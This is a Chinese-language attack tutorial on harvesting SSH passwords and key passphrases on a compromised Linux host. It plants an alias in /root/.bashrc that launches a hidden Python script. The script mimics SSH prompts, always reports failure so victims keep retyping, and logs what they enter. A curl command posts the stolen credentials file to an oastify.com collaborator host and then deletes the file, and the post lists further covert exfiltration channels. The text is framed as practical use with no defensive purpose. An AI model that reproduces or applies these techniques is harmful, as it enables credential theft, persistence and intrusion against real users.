在2025年03月19日,遇到一个问题,如下:
思路
- 使用ssh2john针对密钥密码进行暴力破解。
- 重写ssh验证密码模块。
- 使用别名+脚本模拟ssh验证密码登录框。
这里我选择通过使用别名+脚本模拟ssh验证密码登录框,利用在ssh登录输入密码不可见的特性,利用受害者的心里,输入密码的时候以为是密码错误,进行水坑攻击。
别名+脚本模拟ssh验证密码登录框
alias
命令用于创建命令的快捷方式或别名,以便简化复杂的命令或减少重复输入。你可以通过 alias
将一个长的命令或常用的命令组合定义为一个简短的别名。
1 | alias 别名='命令' |
例如,如果你想将 ls -la
命令简化为 ll
,可以这样做:
1 | alias ll='ls -la' |
之后,你只需输入 ll
,系统就会执行 ls -la
。
删除别名
1 | unalias ll |
设计思路
通过将python脚本设置为别名,将别名设置为/root/.bashrc
中,设置为Bash shell
加载,然后使用python模拟ssh认证输入密码,不管用户输入什么将一直报错,将得到的密码保存到本地,但是这里要考虑的问题:
- 在通过python模拟ssh认证输入密码,alias如何删除?
- 如何只使用一次模拟ssh认证?
- 得到密钥之后当前文件怎么样删除?
在下面代码中模拟的是在乌班图中验证ssh密码,设计思路:
使用getpass模拟ssh输入密码,会出现以下三种情况:使用ssh_key认证,使用ssh_key认证但密钥不存在,使用密码登录。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30root@ubuntu-linux-2404:/home/parallels# ssh -i ssh_key parallels@10.211.55.9
Enter passphrase for key 'ssh_key':
Enter passphrase for key 'ssh_key':
Enter passphrase for key 'ssh_key':
parallels@10.211.55.9's password:
Permission denied, please try again.
parallels@10.211.55.9's password:
Permission denied, please try again.
parallels@10.211.55.9's password:
parallels@10.211.55.9: Permission denied (publickey,password).
root@ubuntu-linux-2404:/home/parallels# ssh -i ssh_key parallels@10.211.55.9
Warning: Identity file ssh_key not accessible: No such file or directory.
parallels@10.211.55.9's password:
Permission denied, please try again.
parallels@10.211.55.9's password:
Permission denied, please try again.
parallels@10.211.55.9's password:
parallels@10.211.55.9: Permission denied (publickey,password).
root@ubuntu-linux-2404:/home/parallels# ssh parallels@10.211.55.9
parallels@10.211.55.9's password:
Permission denied, please try again.
parallels@10.211.55.9's password:
Permission denied, please try again.
parallels@10.211.55.9's password:
parallels@10.211.55.9: Permission denied (publickey,password).使用
sys.argv
捕捉后面的参数。使用异常模块捕捉ctr+c推出异常。
程序执行完成恢复/root/.bashrc文件,并删除别名。
实战测试
别名设置:
unalias ssh 删除别名,这个需要在python脚本前面,如果在后面python的sys捕捉不到命令参数。
1 | alias ssh='unalias ssh > /dev/null 2>&1;python3 /tmp/test.py' |
操作流程:
vim /root/.bashrc
最后一行: alias ssh='unalias ssh > /dev/null 2>&1;python3 /tmp/.test.py'
执行:source /root/.bashrc
执行 vim /tmp/.test.py
,写入python文件
python文件:https://github.com/RuoJi6/script-demo/tree/main/python/alias_ssh
模拟受害者
受害者在机器上登录指定机器,并输入密钥密码。
我们利用ssh输入密码特性看不见输入的密码,让受害者误以为是自己输入错误,从而让受害者一直输入密码。
当运行完成之后,受害者再次登录测试,就会发现登录成功。
攻击者查看密码
cat /tmp/.test
就可以看到受害者输入的ip地址,用户名以及密码。
扩展思路
python模拟ssh终端,然后自身文件会删除,那/tmp/.test文件能不能通过http请求,发送到互联网,而不是保存在本地?
思路:
- 在自己服务器上开启一个http服务接收。
- 使用dnslog接收。
- 使用互联网泄露的邮箱接收。
- 使用互联网泄露的OSS存储筒,通过未授权上传接收。
- 使用未授权文件上传,发送时伪装成图片上传到别人网站上。
dnslog实验:
在下面代码中,我们读取文件,请求dnslog并将内容以post发送到dnslog中,并删除文件。
我们把这行代码放在python末尾中。注意:这里需要使用burp suite的dnslog!!!
1 | os.system('curl -X POST -H "Content-Type: text/plain" -d "$(cat /tmp/.test)" http://b1d4m6en9eupxlam9dhcl5hmldr4fu3j.oastify.com/ > /dev/null 2>&1;rm /tmp/.test') |
dnslog受害者
我们这里模拟受害者在进行输入的时候发现了异常,密码输入不正确,通过ctr+c终止输入的情况。
这里受害者通过ctr+c退出进程。
如果受害者进行排查:
- 觉得自己可能是输入错误。
- 发现了异常,但是找不到异常地方以及文件。
我们在burp suite上成功接收了来自服务器的ip地址,用户名以及密码。